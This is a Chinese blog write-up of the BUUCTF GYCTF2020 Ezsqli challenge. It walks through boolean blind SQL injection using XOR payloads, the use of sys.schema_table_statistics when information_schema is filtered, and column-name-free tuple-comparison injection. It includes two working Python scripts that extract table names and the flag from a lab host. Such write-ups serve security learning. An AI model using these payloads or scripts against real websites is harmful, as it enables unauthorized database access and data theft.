[BUUCTF][GYCTF2020]Ezsqli

[GYCTF2020]Ezsqli


  • 布尔盲注
  • 无列名盲注

  1. 抓包,存在post的id参数。
  2. 进行测试

id=1时, :Nu1L
id=0时, :Error Occured When Fetch Result.
id=1’时, :bool(false)
id=1’#时,:bool(false)

  • 语句不正确时返回bool(false)
  • 所以猜测是数字型的注入

id=1^1 :Error Occured When Fetch Result.
id=1^0 :Nu1L

  • 存在sql注入。
  • fuzz一下。
    在这里插入图片描述
  1. 首先测试
    0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1})
    但是看上方fuzz结果,可以看到or被过滤,所以information_schema数据库不能使用。
    可以使用sys.schema_table_statistics获取
import requests

url="http://a843fe9f-7001-4fba-8cb5-007891301471.node3.buuoj.cn/index.php"
data={"id":""}
def name(num):
    res=''
    for i in range(1,50):
        l=0
        r=127
        mid=(l+r)>>1
        while(l<r):
            pay1="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{0},1))>{1})".format(i,mid)
            data["id"]=pay1
            if(num==1):
                r1=requests.post(url,data=data)
                # print(data)
                # print(r1.text)
            if("Nu1L" in r1.text):
                l=mid+1        
            else:
                r=mid    
            mid = (l+r)>>1
        if(mid==0):
            break
        res+=chr(mid)
    print(res)
def main():
	  name(1)
  
if __name__ == "__main__":
    main()

得到表名:
在这里插入图片描述
4. 无列名注入

(1,1)>(select * from f1ag_1s_h3r3_hhhhh)
判断出出两列
0^((1,‘g’)>(select * from f1ag_1s_h3r3_hhhhh)) #正确
0^((1,‘f’)>(select * from f1ag_1s_h3r3_hhhhh)) #错误
0^((1,‘fm’)>(select * from f1ag_1s_h3r3_hhhhh)) #正确
0^((1,‘fl’)>(select * from f1ag_1s_h3r3_hhhhh)) #错误
多以可以通过比较读出flag
使用十六进制。

写上脚本。

import requests
def str_hex(s): #十六进制转换 fl ==> 0x666c
    res = ''
    for i in s:
        res += hex(ord(i)).replace('0x','')
    res = '0x' + res
    return res
url = "http://a843fe9f-7001-4fba-8cb5-007891301471.node3.buuoj.cn/index.php"
s = ""
for i in range(50):
    for j in range(33,127):
        flag = s + chr(j)
        payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(str_hex(flag))
        # print(payload)
        data = {
            "id" : payload
        }
        r = requests.post(url, data=data)
        if "Nu1L" in r.text:
            s += chr(j-1)
            print(s)
            break
            
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值